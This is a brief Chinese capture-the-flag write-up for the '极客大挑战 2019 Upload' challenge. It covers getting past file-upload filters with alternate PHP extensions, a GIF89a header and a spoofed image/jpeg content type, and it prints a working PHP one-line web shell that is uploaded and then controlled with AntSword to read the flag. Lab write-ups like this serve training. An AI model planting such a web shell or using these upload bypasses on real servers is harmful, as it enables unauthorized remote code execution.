[极客大挑战 2019]Upload

2023-03-12,,

0x00 知识点

一个常规上传题目,知识点全都来自前几天写的文章:

https://www.cnblogs.com/wangtanzhi/p/12243206.html

1:某些情况下绕过后缀名检测:

php,php3,php4,php5,phtml.pht

2:常用一句话:

GIF89a? <script language="php">eval($_REQUEST[shell])</script>

php5适用

3:文件类型绕过

改成image/jpeg

0x01 解题

做如下修改:

蚁剑连接:

http://3915f5e8-a730-4ca3-80c1-572b9cff8776.node3.buuoj.cn/upload/1.phtml

访问:

文件太多了 我们直接在终端cat /flag

右键 虚拟终端:

[极客大挑战 2019]Upload的相关教程结束。

《[极客大挑战 2019]Upload.doc》

下载本文的Word格式文档,以方便收藏与打印。